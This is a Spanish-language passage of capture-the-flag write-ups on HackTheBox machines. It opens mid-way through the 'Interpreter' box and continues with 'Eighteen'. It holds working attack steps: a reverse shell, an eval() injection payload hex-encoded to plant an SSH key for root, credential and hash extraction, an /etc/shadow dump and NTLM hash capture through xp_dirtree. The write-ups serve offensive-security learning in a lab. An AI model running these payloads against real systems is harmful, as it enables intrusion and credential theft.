Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.4.89 - - [24/Feb/2026 00:10:20] "GET / HTTP/1.1" 200 -

Shell

Ejecutamos la shell inversa del exploit.

1
2
3

❯ python exploit.py -shell -lhost 10.10.15.149 -lport 1335
[*] Initializing shell on 10.10.15.149:1335
❯

Logrando el acceso como mirth.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
10.129.4.89: inverse host lookup failed: Unknown host
connect to [10.10.15.149] from (UNKNOWN) [10.129.4.89] 36414
whoami
mirth
id
uid=103(mirth) gid=111(mirth) groups=111(mirth)

Mirth DB

En el archivo de configuracion mirt.properties encontramos las credenciales de la base de datos MySQL.

pwd
/usr/local/mirthconnect/conf
ls -lah
total 24K
drwxr-xr-x  2 mirth mirth 4.0K Feb 16 15:42 .
drwxr-xr-x 14 mirth mirth 4.0K Feb 24 01:28 ..
-rwxr-xr-x  1 mirth mirth 1.5K Jul 18  2023 dbdrivers.xml
-rwxr-xr-x  1 mirth mirth 2.2K Sep 19 08:49 log4j2.properties
-rwxr-xr-x  1 mirth mirth 4.8K Feb 23 22:43 mirth.properties
cat mirth.properties | grep -v "#"

#[ ... cut ... ]

database = mysql

database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

database.driver = org.mariadb.jdbc.Driver

database.max-connections = 20
database-readonly.max-connections = 20

database.username = mirthdb
database.password = MirthPass123!

database.connection.maxretry = 2

database.connection.retrywaitinmilliseconds = 10000

database.enable-read-write-split = true

Dentro de la base de datos encontramos un hash de contrasena.

mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'show tables'
Tables_in_mc_bdd_prod
ALERT
CHANNEL
CHANNEL_GROUP
CODE_TEMPLATE
CODE_TEMPLATE_LIBRARY
CONFIGURATION
DEBUGGER_USAGE
D_CHANNELS
D_M1
D_MA1
D_MC1
D_MCM1
D_MM1
D_MS1
D_MSQ1
EVENT
PERSON
PERSON_PASSWORD
PERSON_PREFERENCE
SCHEMA_INFO
SCRIPT
mysql -u mirthdb -p'MirthPass123!' -D mc_bdd_prod -e 'select * from PERSON_PASSWORD'
PERSON_ID	PASSWORD	PASSWORD_DATE
2	u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==	2025-09-19 09:22:28

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
La documentacion indica PBKDF2WithHmacSHA256 con iteracion 600000, convertimos el hash a formato hashcat PBKDF2-HMAC-SHA256.

❯ INPUT="u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="
❯ echo "sha256:600000:$(echo -n "$INPUT" | base64 -d | head -c 8 | base64):$(echo -n "$INPUT" | base64 -d | tail -c 32 | base64)"
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
❯

Ejecutamos hashcat en modo 10900 logrando encontrar el valor del hash.

PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 10900 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' rockyou.txt
hashcat (v7.1.2) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.

# ...

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Tue Feb 24 00:56:30 2026 (9 secs)
Time.Estimated...: Tue Feb 24 00:56:39 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     2770 H/s (7.47ms) @ Accel:2 Loops:500 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 24576/14344385 (0.17%)
Rejected.........: 0/24576 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599500-599999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> 280789
Hardware.Mon.#01.: Temp: 57c Fan:  0% Util: 99% Core:2760MHz Mem:8251MHz Bus:8

Started: Tue Feb 24 00:56:28 2026
Stopped: Tue Feb 24 00:56:40 2026
PS C:\Users\x\Documents\github\hashcat-7.1.2>

User - Sedric

Localmente existe el usuario sedric.

cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

La contrasena es aceptada para este usuario por SSH.

❯ netexec ssh 10.129.4.89 -u sedric -p snowflake1
SSH         10.129.4.89     22     10.129.4.89      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.129.4.89     22     10.129.4.89      [+] sedric:snowflake1  Linux - Shell access!
❯

Logramos acceso con este usuario y la flag user.txt.

❯ ssh sedric@10.129.4.89
The authenticity of host '10.129.4.89 (10.129.4.89)' can't be established.
ED25519 key fingerprint is: SHA256:Oz7Fk6YvrB8/5uSyuoY+mqLefkwpPaepkXAppxIX0xk
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.4.89' (ED25519) to the list of known hosts.
sedric@10.129.4.89's password: 
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:00:05 2026 from 10.10.15.149
sedric@interpreter:~$ whoami;id
sedric
uid=1000(sedric) gid=1000(sedric) groups=1000(sedric)
sedric@interpreter:~$ ls
user.txt
sedric@interpreter:~$ cat user.txt 
84a29439c28174701ff6506b20931223
sedric@interpreter:~$

Privesc

Localmente encontramos el script notif.py siendo ejecutado como root.

sedric@interpreter:/dev/shm$ ps -aux | grep root
root           1  0.0  0.3 102012 12104 ?        Ss   Feb23   0:05 /sbin/init
# [... cut ...]
root        2262  0.0  0.0      0     0 ?        S    Feb23   0:00 [irq/16-vmwgfx]
root        2653  0.0  0.0      0     0 ?        S    Feb23   0:00 [audit_prune_tree]
root        2854  0.0  0.0      0     0 ?        I<   Feb23   0:00 [cryptd]
root        3178  0.0  0.0   6616  2744 ?        Ss   Feb23   0:00 /usr/sbin/cron -f
root        3185  0.0  0.1 221800  7120 ?        Ssl  Feb23   0:00 /usr/sbin/rsyslogd -n -iNONE
root        3188  0.0  0.1  17192  7820 ?        Ss   Feb23   0:00 /lib/systemd/systemd-logind
root        3196  0.0  0.1  16552  5920 ?        Ss   Feb23   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root        3250  0.0  0.0   5876  3484 ?        Ss   Feb23   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root        3380  0.1  0.2 144712 11368 ?        Sl   Feb23   0:23 /usr/sbin/vmtoolsd
root        3461  0.0  0.2  40776 11384 ?        S    Feb23   0:00 /usr/lib/vmware-vgauth/VGAuthService -s
root        3509  0.0  0.6 400204 25828 ?        Ssl  Feb23   0:09 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
root        3514  0.0  0.7  39872 31020 ?        Ss   Feb23   0:03 /usr/bin/python3 /usr/local/bin/notif.py
root        3522  0.0  0.0   5880  1036 tty1     Ss+  Feb23   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        3536  0.0  0.2  15452  9348 ?        Ss   Feb23   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root        3884  0.0  0.0      0     0 ?        I    Feb23   0:00 [kworker/1:1-events]
root        4056  0.0  0.0      0     0 ?        I    00:04   0:00 [kworker/u4:0-flush-8:0]
root        4181  0.0  0.0      0     0 ?        I    01:28   0:00 [kworker/u4:1-ext4-rsv-conversion]
root        4248  0.0  0.0      0     0 ?        I    01:52   0:00 [kworker/u4:2-ext4-rsv-conversion]
root        4255  0.0  0.1   8996  4036 ?        S    01:58   0:00 su sedric
root        4259  0.0  0.0      0     0 ?        I    01:58   0:00 [kworker/1:2-events]
root        4281  0.0  0.2  17840 11228 ?        Ss   02:00   0:00 sshd: sedric [priv]
root        4321  0.0  0.0      0     0 ?        I    02:03   0:00 [kworker/0:1]
root        5199  0.0  0.0      0     0 ?        I    02:08   0:00 [kworker/u4:3-ext4-rsv-conversion]
root       20676  0.0  0.0      0     0 ?        I    02:09   0:00 [kworker/1:0-events]
sedric     28652  0.0  0.0   6340  2072 pts/0    S+   02:13   0:00 grep root
sedric@interpreter:/dev/shm$ file /usr/local/bin/notif.py
/usr/local/bin/notif.py: Python script, ASCII text executable
sedric@interpreter:/dev/shm$

El script esta corriendo localmente y segun el comentario es parte de MirthConnect.

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

En este encontramos una posible vulnerabilidad XXE Injection en la ruta /addPatient.

import xml.etree.ElementTree as ET, os

@app.route("/addPatient", methods=["POST"])
def receive():
    # ... cut ...
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)

Tambien una vulnerabilidad de tipo RCE con el uso de eval() en la funcion template() para la estructura enviada, especificamente para la edad.

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

RCE via eval

/addPatient toma una estructura XML la cual es evaluada con eval() por lo que podemos crear una estructura que contenga ejecucion de comandos en cualquiera de los valores enviados. Creamos la estructura con el codigo que ejecuta el comando id.

<?xml version="1.0" encoding="UTF-8"?>
<patient>
    <firstname>{__import__('os').popen('id').read()}</firstname>
    <lastname>Test</lastname>
    <sender_app>Mirth</sender_app>
    <timestamp>1200</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>

Tras enviar nuestra estrucutra observamos que el comando fue ejecutado como root.

sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient uid=0(root) gid=0(root) groups=0(root)
 Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$

Shell

Generamos una clave publica para el usuario sedric.

sedric@interpreter:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/sedric/.ssh/id_rsa): 
Created directory '/home/sedric/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/sedric/.ssh/id_rsa
Your public key has been saved in /home/sedric/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:qGdMJx8HCxPwVkQrQCPoyit8RZiFOIIayHT3Rtdq08A sedric@interpreter
The key's randomart image is:
+---[RSA 3072]----+
|=ooo*o.+=..      |
|*+.o.=oo.E .     |
|+.. + *oo +      |
|.. o o.= * .     |
|o   . + S o      |
|..   = + o       |
|. . o + .        |
|.o . o           |
|. .              |
+----[SHA256]-----+
sedric@interpreter:~$

Modificamos el payload para agregar nuestra clave al archivo authorized_keys de root. Se codifico en hex el comando ya que existe una expresion regular.

1
2

# cat /home/sedric/.ssh/id_rsa.pub > /root/.ssh/authorized_keys
<firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>

Tras enviar el payload logramos acceso por SSH y la flag root.txt.

sedric@interpreter:/dev/shm$ cat payload.xml 
<?xml version="1.0" encoding="UTF-8"?>
<patient>
    <firstname>{__import__('os').system(bytes.fromhex('636174202f686f6d652f7365647269632f2e7373682f69645f7273612e707562203e202f726f6f742f2e7373682f617574686f72697a65645f6b657973').decode())}</firstname>
    <lastname>Test</lastname>
    <sender_app>Mirth</sender_app>
    <timestamp>1200</timestamp>
    <birth_date>01/01/2000</birth_date>
    <gender>M</gender>
</patient>
sedric@interpreter:/dev/shm$ wget --post-file=payload.xml --header="Content-Type: application/xml" 127.0.0.1:54321/addPatient -qO- ; echo
Patient 0 Test (M), 26 years old, received from Mirth at 1200
sedric@interpreter:/dev/shm$ ssh root@localhost
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 24 02:52:32 2026 from 127.0.0.1
root@interpreter:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@interpreter:~# cat root.txt 
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

root@interpreter:~# cat root.txt 
0d1e21a338f6462676ed5bcb8ed3c03f
root@interpreter:~# cat /etc/shadow
root:$y$j9T$o.VVihLzQteSMxpHLdRkO.$ye7gwugB75H18vxlZ9Yp8uak36M3opreZHoWrWOJto7:20307:0:99999:7:::
daemon:*:20307:0:99999:7:::
bin:*:20307:0:99999:7:::
sys:*:20307:0:99999:7:::
sync:*:20307:0:99999:7:::
games:*:20307:0:99999:7:::
man:*:20307:0:99999:7:::
lp:*:20307:0:99999:7:::
mail:*:20307:0:99999:7:::
news:*:20307:0:99999:7:::
uucp:*:20307:0:99999:7:::
proxy:*:20307:0:99999:7:::
www-data:*:20307:0:99999:7:::
backup:*:20307:0:99999:7:::
list:*:20307:0:99999:7:::
irc:*:20307:0:99999:7:::
_apt:*:20307:0:99999:7:::
nobody:*:20307:0:99999:7:::
systemd-network:!*:20307::::::
systemd-timesync:!*:20307::::::
messagebus:!:20307::::::
avahi-autoipd:!:20307::::::
sshd:!:20307::::::
sedric:$y$j9T$MMATL11rB9egotaJXLTma0$VZ43M7Rr6.Ls7g8gZwoPCRWIXi6Wjv8j/d8iublq1nB:20495:0:99999:7:::
mirth:!:20311::::::
mysql:!:20350::::::
_laurel:!:20496::::::
root@interpreter:~#

HackTheBox - Eighteen

sckull — Sat, 11 Apr 2026 00:00:00 +0000

Eighteen expone el servicio MSSQL donde, descubrimos credenciales que permitieron el acceso por WinRM. Se ejecuto ligolo para exponer los puertos locales. Al enumerar los permisos del usuario, se identifico una configuracion de permisos en Active Directory que permitio realizar el ataque BadSuccessor, logrando la escalada de privilegios.

Nombre	Eighteen
OS	Windows
Puntos	20
Dificultad	Easy
Fecha de Salida	2025-11-15
IP	10.129.121.22
Maker	kavigihan
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [192, 208, 1007, 1107, 666, 372, 363, 134, 43, 138], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Machine Information: Certified

La descripcion de la maquina emula una situacion “real” de un pentest proporcionando credenciales.

As is common in real life Windows penetration tests, you will start the Eighteen box with credentials for the following account: kevin / iNa2we6haRj2gaw!

Recon

nmap

nmap muestra multiples puertos abiertos: http (80), mssql (1433) y winrm (5985).

# Nmap 7.95 scan initiated Sat Nov 15 14:13:40 2025 as: /usr/lib/nmap/nmap --privileged -p80,1433,5985 -sV -sC -oN nmap_scan 10.129.121.22
Nmap scan report for 10.129.121.22
Host is up (0.066s latency).

PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
|_http-server-header: Microsoft-IIS/10.0
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.121.22:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-16T02:45:47
|_Not valid after:  2055-11-16T02:45:47
| ms-sql-ntlm-info: 
|   10.129.121.22:1433: 
|     Target_Name: EIGHTEEN
|     NetBIOS_Domain_Name: EIGHTEEN
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: eighteen.htb
|     DNS_Computer_Name: DC01.eighteen.htb
|     DNS_Tree_Name: eighteen.htb
|_    Product_Version: 10.0.26100
|_ssl-date: 2025-11-16T03:13:55+00:00; +7h00m01s from scanner time.
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 15 14:13:54 2025 -- 1 IP address (1 host up) scanned in 13.96 seconds

Agregamos a nuestro archivo /etc/hosts los valores eighteen.htb dc01.eighteen.htb.

Service Access

Las credenciales tienen acceso por mssql.

❯ netexec mssql eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth
MSSQL       10.129.121.22   1433   DC01             [*] Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb)
MSSQL       10.129.121.22   1433   DC01             [+] DC01\kevin:iNa2we6haRj2gaw! 
❯

Web Site

Los headers indican un servidor Microsoft-IIS.

❯ curl -sI eighteen.htb
HTTP/1.1 200 OK
Content-Length: 2253
Content-Type: text/html; charset=utf-8
Vary: Cookie
Server: Microsoft-IIS/10.0
Date: Sun, 16 Nov 2025 04:48:22 GMT

❯

El sitio muestra una tematica financiera.

Explica como funciona.

Existen dos formularios, para registro y login.

Directory Brute Forcing

feroxbuster muestra que existe /admin.

❯ feroxbuster -u http://eighteen.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://eighteen.htb/
 🚩  In-Scope Url          │ eighteen.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      603l     1072w     9601c http://eighteen.htb/static/css/style.css
200      GET       76l      145w     2421c http://eighteen.htb/register
200      GET       88l      203w     2822c http://eighteen.htb/features
200      GET       66l      121w     1961c http://eighteen.htb/login
200      GET       74l      156w     2253c http://eighteen.htb/
302      GET        5l       22w      199c http://eighteen.htb/admin => http://eighteen.htb/login
302      GET        5l       22w      199c http://eighteen.htb/dashboard => http://eighteen.htb/login
302      GET        5l       22w      189c http://eighteen.htb/logout => http://eighteen.htb/
404      GET       29l       95w     1245c http://eighteen.htb/lost+found
404      GET       29l       95w     1245c http://eighteen.htb/web.config
[####################] - 8s      4622/4622    0s      found:10      errors:0      
[####################] - 8s      4614/4614    593/s   http://eighteen.htb/
❯

User Register

Se realizo un registr de usuario.

No se encontro nada relevante en el sitio.

MSSQL

Ingresamos por mssql con las credenciales iniciales.

❯ impacket-mssqlclient -dc-ip 10.129.121.22 -p 1433 kevin:'iNa2we6haRj2gaw!'@eighteen.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (kevin  guest@master)> select user_name();
        
-----   
guest   

SQL (kevin  guest@master)>

Grab the Hash

Utilizamos xp_dirtree para obtener el hash del usuario svc.

SQL (kevin  guest@master)> xp_dirtree \\10.10.14.64\sc\
subdirectory   depth   file   
------------   -----   ----   
SQL (kevin  guest@master)>

responder muestra al usuario mssqlsvc junto con el hash NTLM.

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.121.22
[SMB] NTLMv2-SSP Username : EIGHTEEN\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::EIGHTEEN:8fbce4abfccb9959:2434A5789FE8FE438791855270C7A670:010100000000000000A33FE64356DC0131FCCA0DEE6B2D6F000000000200080049004E004800390001001E00570049004E002D004200310039004400330048003900330031003700310004003400570049004E002D00420031003900440033004800390033003100370031002E0049004E00480039002E004C004F00430041004C000300140049004E00480039002E004C004F00430041004C000500140049004E00480039002E004C004F00430041004C000700080000A33FE64356DC01060004000200000008003000300000000000000000000000003000009C07F4FB3F07BFA27372E4956B39E593B11C21756FB871CDACE6DEBF1C226ED30A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00360034000000000000000000

Cracking the Hash

Tras intentar crackear el hash, este no fue encontrado en el wordlist rockyo.

❯ john SMB-NTLMv2-SSP-10.129.121.22.txt --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:06 DONE (2025-11-15 15:26) 0g/s 2066Kp/s 4133Kc/s 4133KC/s !)(OPPQR..*7¡Vamos!
Session completed. 
❯

DB Access

Encontramos que existe la base de datos financial_planner sin embargo, kevin no tiene acceso a esta.

SQL (kevin  guest@master)> enum_db
name                is_trustworthy_on   
-----------------   -----------------   
master                              0   

tempdb                              0   

model                               0   

msdb                                1   

financial_planner                   0   

SQL (kevin  guest@master)> use financial_planner
ERROR(DC01): Line 1: The server principal "kevin" is not able to access the database "financial_planner" under the current security context.
SQL (kevin  guest@master)>

enum_logins muestra que existe un login para appdev. Utilizamos exec_as_login con este usuario para tener acceso a la base de datos.

SQL (kevin  guest@master)> enum_logins
name     type_desc   is_disabled   sysadmin   securityadmin   serveradmin   setupadmin   processadmin   diskadmin   dbcreator   bulkadmin   
------   ---------   -----------   --------   -------------   -----------   ----------   ------------   ---------   ---------   ---------   
sa       SQL_LOGIN             0          1               0             0            0              0           0           0           0   

kevin    SQL_LOGIN             0          0               0             0            0              0           0           0           0   

appdev   SQL_LOGIN             0          0               0             0            0              0           0           0           0   

SQL (kevin  guest@master)> exec_as_login appdev
SQL (appdev  appdev@master)> use financial_planner
ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner
INFO(DC01): Line 1: Changed database context to 'financial_planner'.
SQL (appdev  appdev@financial_planner)>

Existe la tabla users, dentro encontramos el hash de contrasena para el usuario admin.

SQL (appdev  appdev@financial_planner)> SELECT name FROM sys.tables WHERE type_desc = 'USER_TABLE';
name          
-----------   
users         

incomes       

expenses      

allocations   

analytics     

visits        

SQL (appdev  appdev@financial_planner)> select * from users;
  id   full_name   username   email                password_hash                                                                                            is_admin   created_at   
----   ---------   --------   ------------------   ------------------------------------------------------------------------------------------------------   --------   ----------   
1002   admin       admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133          1   2025-10-29 05:39:03   

SQL (appdev  appdev@financial_planner)>

Cracking the Hash

Formateamos el hash similar a HTB - Titanic para poder ejecutar hashcat.

# pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
❯ digest=$(echo "0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133" | xxd -r -p | base64); salt=$(echo "AMtzteQIG7yAbZIa" | base64); echo "sha256:60000:${salt}:${digest}"
sha256:60000:QU10enRlUUlHN3lBYlpJYQo=:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
❯

Ejecutamos hashcat con el wordlist rockyou.txt sobre el archivo de hash. Este muestra la contrasena en texto plano.

PS C:\Users\user\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 10900 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' rockyou.txt
hashcat (v7.1.2) starting

# [.. cut ..]

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7Gd...yIcTM=
Time.Started.....: Sat Nov 15 16:48:33 2025 (9 secs)
Time.Estimated...: Sat Nov 15 16:48:42 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:     2780 H/s (7.33ms) @ Accel:2 Loops:500 Thr:512 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 24576/14344385 (0.17%)
Rejected.........: 0/24576 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599500-599999
Candidate.Engine.: Device Generator
Candidates.#01...: 123456 -> 280789
Hardware.Mon.#01.: Temp: 59c Fan: 30% Util: 99% Core:2760MHz Mem:8251MHz Bus:8

Started: Sat Nov 15 16:48:32 2025
Stopped: Sat Nov 15 16:48:43 2025
PS C:\Users\user\Documents\github\hashcat-7.1.2>

Admin - Website

Las credenciales dan acceso al dashboard del sitio.

